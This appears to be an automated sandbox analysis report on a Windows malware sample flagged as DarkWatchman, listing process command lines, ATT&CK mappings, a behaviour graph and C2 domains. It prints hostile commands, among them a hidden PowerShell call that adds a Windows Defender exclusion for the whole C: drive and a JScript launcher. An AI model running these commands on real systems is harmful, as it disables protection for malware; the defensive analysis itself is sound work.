        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
        Source: wscript.exe, 0000000B.00000002.3371056470.0000000005A9D000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAWv
        Source: YyVnwn8Zst.exe, 00000000.00000002.2126187769.0000000001132000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}=
        Source: wscript.exe, 0000000A.00000002.3370809663.0000000005353000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000A.00000002.3370809663.0000000005373000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000B.00000002.3371056470.0000000005A30000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW
        Source: wscript.exe, 0000000A.00000002.3369609341.0000000002A52000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW8Q7
        Source: C:\Users\user\Desktop\YyVnwn8Zst.exeAPI call chain: ExitProcess graph end nodegraph_0-24430
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information queried: ProcessInformationJump to behavior
        Source: C:\Users\user\Desktop\YyVnwn8Zst.exeCode function: 0_2_00BDE4F5 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,0_2_00BDE4F5
        Source: C:\Users\user\Desktop\YyVnwn8Zst.exeCode function: 0_2_00BE6B19 mov eax, dword ptr fs:[00000030h]0_2_00BE6B19
        Source: C:\Users\user\Desktop\YyVnwn8Zst.exeCode function: 0_2_00BEACFC GetProcessHeap,0_2_00BEACFC
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: DebugJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: DebugJump to behavior
        Source: C:\Users\user\Desktop\YyVnwn8Zst.exeCode function: 0_2_00BDE4F5 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,0_2_00BDE4F5
        Source: C:\Users\user\Desktop\YyVnwn8Zst.exeCode function: 0_2_00BDE643 SetUnhandledExceptionFilter,0_2_00BDE643
        Source: C:\Users\user\Desktop\YyVnwn8Zst.exeCode function: 0_2_00BDE7FC SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,0_2_00BDE7FC
        Source: C:\Users\user\Desktop\YyVnwn8Zst.exeCode function: 0_2_00BE7C57 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,0_2_00BE7C57

        HIPS / PFW / Operating System Protection Evasion

        barindex
        System process connects to network (likely due to code injection or exploit)
        Source: C:\Windows\SysWOW64\wscript.exeNetwork Connect: 185.159.131.230 443
        Adds a directory exclusion to Windows Defender
        Source: C:\Users\user\Desktop\YyVnwn8Zst.exeProcess created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c (start /MIN powershell.exe -NonI -W Hidden -Exec Bypass Add-MpPreference -ExclusionPath "C:") & (start /MIN wscript.exe /E:jscript 4157934657 188 "C:\Users\user\Desktop\YyVnwn8Zst.exe")
        Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NonI -W Hidden -Exec Bypass Add-MpPreference -ExclusionPath "C:"
        Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NonI -W Hidden -Exec Bypass Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Local"
        Source: C:\Users\user\Desktop\YyVnwn8Zst.exeProcess created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c (start /MIN powershell.exe -NonI -W Hidden -Exec Bypass Add-MpPreference -ExclusionPath "C:") & (start /MIN wscript.exe /E:jscript 4157934657 188 "C:\Users\user\Desktop\YyVnwn8Zst.exe")Jump to behavior
        Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NonI -W Hidden -Exec Bypass Add-MpPreference -ExclusionPath "C:"Jump to behavior
        Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NonI -W Hidden -Exec Bypass Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Local"Jump to behavior
        Source: C:\Users\user\Desktop\YyVnwn8Zst.exeProcess created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c (start /MIN powershell.exe -NonI -W Hidden -Exec Bypass Add-MpPreference -ExclusionPath "C:") & (start /MIN wscript.exe /E:jscript 4157934657 188 "C:\Users\user\Desktop\YyVnwn8Zst.exe")Jump to behavior
        Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NonI -W Hidden -Exec Bypass Add-MpPreference -ExclusionPath "C:"Jump to behavior
        Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\wscript.exe wscript.exe /E:jscript 4157934657 188 "C:\Users\user\Desktop\YyVnwn8Zst.exe"Jump to behavior
        Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NonI -W Hidden -Exec Bypass Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Local"Jump to behavior
        Source: C:\Users\user\Desktop\YyVnwn8Zst.exeCode function: 0_2_00BDE34B cpuid 0_2_00BDE34B
        Source: C:\Users\user\Desktop\YyVnwn8Zst.exeCode function: GetLocaleInfoW,GetNumberFormatW,0_2_00BD9E0C
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformationJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformationJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformationJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformationJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformationJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformationJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformationJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformationJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformationJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformationJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformationJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformationJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformationJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformationJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformationJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformationJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformationJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformationJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformationJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformationJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformationJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformationJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformationJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
        Source: C:\Users\user\Desktop\YyVnwn8Zst.exeCode function: 0_2_00BDCC0E GetCommandLineW,OpenFileMappingW,MapViewOfFile,UnmapViewOfFile,CloseHandle,GetModuleFileNameW,SetEnvironmentVariableW,SetEnvironmentVariableW,GetLocalTime,_swprintf,SetEnvironmentVariableW,GetModuleHandleW,LoadIconW,DialogBoxParamW,Sleep,DeleteObject,DeleteObject,DeleteObject,CloseHandle,0_2_00BDCC0E
        Source: C:\Users\user\Desktop\YyVnwn8Zst.exeCode function: 0_2_00BCAA39 GetVersionExW,0_2_00BCAA39
        Source: C:\Windows\SysWOW64\wscript.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuidJump to behavior
        Source: wscript.exe, 0000000A.00000002.3370809663.0000000005373000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000A.00000002.3370809663.00000000053B4000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000B.00000002.3371056470.0000000005A9D000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe
        Source: C:\Windows\SysWOW64\wscript.exeWMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT * FROM AntiVirusProduct
        Source: C:\Windows\SysWOW64\wscript.exeWMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT * FROM AntiVirusProduct

        Stealing of Sensitive Information

        barindex
        Yara detected DarkWatchman
        Source: Yara matchFile source: Process Memory Space: wscript.exe PID: 4256, type: MEMORYSTR
        Source: Yara matchFile source: Process Memory Space: wscript.exe PID: 5196, type: MEMORYSTR
        Source: Yara matchFile source: Process Memory Space: wscript.exe PID: 4836, type: MEMORYSTR

        Remote Access Functionality

        barindex
        Yara detected DarkWatchman
        Source: Yara matchFile source: Process Memory Space: wscript.exe PID: 4256, type: MEMORYSTR
        Source: Yara matchFile source: Process Memory Space: wscript.exe PID: 5196, type: MEMORYSTR
        Source: Yara matchFile source: Process Memory Space: wscript.exe PID: 4836, type: MEMORYSTR

        Mitre Att&ck Matrix

        ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
        Gather Victim Identity Information11
        Scripting        		Valid Accounts221
        Windows Management Instrumentation        		11
        Scripting        		111
        Process Injection        		11
        Masquerading        		OS Credential Dumping1
        System Time Discovery        		Remote Services1
        Archive Collected Data        		11
        Encrypted Channel        		Exfiltration Over Other Network MediumAbuse Accessibility Features
        CredentialsDomainsDefault Accounts2
        Command and Scripting Interpreter        		1
        DLL Side-Loading        		1
        DLL Side-Loading        		1
        Disable or Modify Tools        		LSASS Memory51
        Security Software Discovery        		Remote Desktop ProtocolData from Removable Media2
        Non-Application Layer Protocol        		Exfiltration Over BluetoothNetwork Denial of Service
        Email AddressesDNS ServerDomain Accounts1
        Exploitation for Client Execution        		Logon Script (Windows)Logon Script (Windows)31
        Virtualization/Sandbox Evasion        		Security Account Manager1
        Process Discovery        		SMB/Windows Admin SharesData from Network Shared Drive13
        Application Layer Protocol        		Automated ExfiltrationData Encrypted for Impact
        Employee NamesVirtual Private ServerLocal Accounts2
        PowerShell        		Login HookLogin Hook111
        Process Injection        		NTDS31
        Virtualization/Sandbox Evasion        		Distributed Component Object ModelInput CaptureProtocol ImpersonationTraffic DuplicationData Destruction
        Gather Victim Network InformationServerCloud AccountsLaunchdNetwork Logon ScriptNetwork Logon Script1
        Deobfuscate/Decode Files or Information        		LSA Secrets1
        Application Window Discovery        		SSHKeyloggingFallback ChannelsScheduled TransferData Encrypted for Impact
        Domain PropertiesBotnetReplication Through Removable MediaScheduled TaskRC ScriptsRC Scripts2
        Obfuscated Files or Information        		Cached Domain Credentials2
        File and Directory Discovery        		VNCGUI Input CaptureMultiband CommunicationData Transfer Size LimitsService Stop
        DNSWeb ServicesExternal Remote ServicesSystemd TimersStartup ItemsStartup Items1
        Software Packing        		DCSync46
        System Information Discovery        		Windows Remote ManagementWeb Portal CaptureCommonly Used PortExfiltration Over C2 ChannelInhibit System Recovery
        Network Trust DependenciesServerlessDrive-by CompromiseContainer Orchestration JobScheduled Task/JobScheduled Task/Job1
        DLL Side-Loading        		Proc FilesystemSystem Owner/User DiscoveryCloud ServicesCredential API HookingApplication Layer ProtocolExfiltration Over Alternative ProtocolDefacement
        Network TopologyMalvertisingExploit Public-Facing ApplicationCommand and Scripting InterpreterAtAt1
        File Deletion        		/etc/passwd and /etc/shadowNetwork SniffingDirect Cloud VM ConnectionsData StagedWeb ProtocolsExfiltration Over Symmetric Encrypted Non-C2 ProtocolInternal Defacement

        Behavior Graph

        Hide Legend

        Legend:

        • Process
        • Signature
        • Created File
        • DNS/IP Info
        • Is Dropped
        • Is Windows Process
        • Number of created Registry Values
        • Number of created Files
        • Visual Basic
        • Delphi
        • Java
        • .Net C# or VB.NET
        • C, C++ or other language
        • Is malicious
        • Internet
        behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1585978 Sample: YyVnwn8Zst.exe Startdate: 08/01/2025 Architecture: WINDOWS Score: 100 38 bd0baba4.site 2->38 40 bd0baba4.store 2->40 42 bd0baba4.online 2->42 52 Suricata IDS alerts for network traffic 2->52 54 Malicious sample detected (through community Yara rule) 2->54 56 Icon mismatch, binary includes an icon from a different legit application in order to fool users 2->56 58 7 other signatures 2->58 10 YyVnwn8Zst.exe 18 2->10         started        13 wscript.exe 2->13         started        15 wscript.exe 2 2->15         started        signatures3 process4 dnsIp5 70 Adds a directory exclusion to Windows Defender 10->70 18 cmd.exe 1 10->18         started        72 System process connects to network (likely due to code injection or exploit) 13->72 74 Deletes shadow drive data (may be related to ransomware) 13->74 44 bd0baba4.site 185.159.131.230, 443, 49710, 49711 ITOS-ASRU Russian Federation 15->44 signatures6 process7 signatures8 46 Suspicious powershell command line found 18->46 48 Wscript starts Powershell (via cmd or directly) 18->48 50 Adds a directory exclusion to Windows Defender 18->50 21 wscript.exe 5 5 18->21         started        25 powershell.exe 27 18->25         started        27 conhost.exe 18->27         started        process9 file10 36 C:\Users\user\AppData\Local\9e146be90.js, ASCII 21->36 dropped 60 Suspicious powershell command line found 21->60 62 Wscript starts Powershell (via cmd or directly) 21->62 64 Deletes shadow drive data (may be related to ransomware) 21->64 68 5 other signatures 21->68 29 powershell.exe 23 21->29         started        66 Loading BitLocker PowerShell Module 25->66 32 conhost.exe 25->32         started        signatures11 process12 signatures13 76 Loading BitLocker PowerShell Module 29->76 34 conhost.exe 29->34         started        process14

        Screenshots

        Thumbnails

        This section contains all screenshots as thumbnails, including those not shown in the slideshow.


        windows-stand

        Antivirus, Machine Learning and Genetic Malware Detection

        Initial Sample

        ⊘No Antivirus matches

        Dropped Files

        ⊘No Antivirus matches

        Unpacked PE Files

        ⊘No Antivirus matches

        Domains

        ⊘No Antivirus matches

        URLs

        SourceDetectionScannerLabelLink
        https://bd0baba4.site/index.php-N0%Avira URL Cloudsafe
        https://bd0baba4.site/index.phpP0%Avira URL Cloudsafe
        https://bd0ba/index.php0%Avira URL Cloudsafe
        https://bd0baba4.site/w0%Avira URL Cloudsafe
        https://bd0baba4.store/in0%Avira URL Cloudsafe
        https://bd0baba4.online/index.php0%Avira URL Cloudsafe
        https://bd0baba4.site0%Avira URL Cloudsafe
        https://bd0baba4.site/index.php_P0%Avira URL Cloudsafe
        https://bd0baba4.store/index.php0%Avira URL Cloudsafe
        https://bd0baba4.sitehp0%Avira URL Cloudsafe
        https://bd0baba4.site:443/index.php0%Avira URL Cloudsafe
        https://bd0baba4.site/index.phpdll0%Avira URL Cloudsafe
        https://bd0baba4.store/index.phpo0%Avira URL Cloudsafe
        https://bd0baba4.site/l0%Avira URL Cloudsafe
        https://bd0baba4.site/0%Avira URL Cloudsafe
        https://bd0baba4.site/index.0%Avira URL Cloudsafe
        https://bd0baba4.site/IW0%Avira URL Cloudsafe
        https://bd0baba4.site/index.php0%Avira URL Cloudsafe

        Domains and IPs

        Contacted Domains

        NameIPActiveMaliciousAntivirus DetectionReputation
        bd0baba4.site
        		185.159.131.230
        		truetrue
          		unknown
          bd0baba4.online
          		unknown
          		unknownfalse
            		unknown
            bd0baba4.store
            		unknown
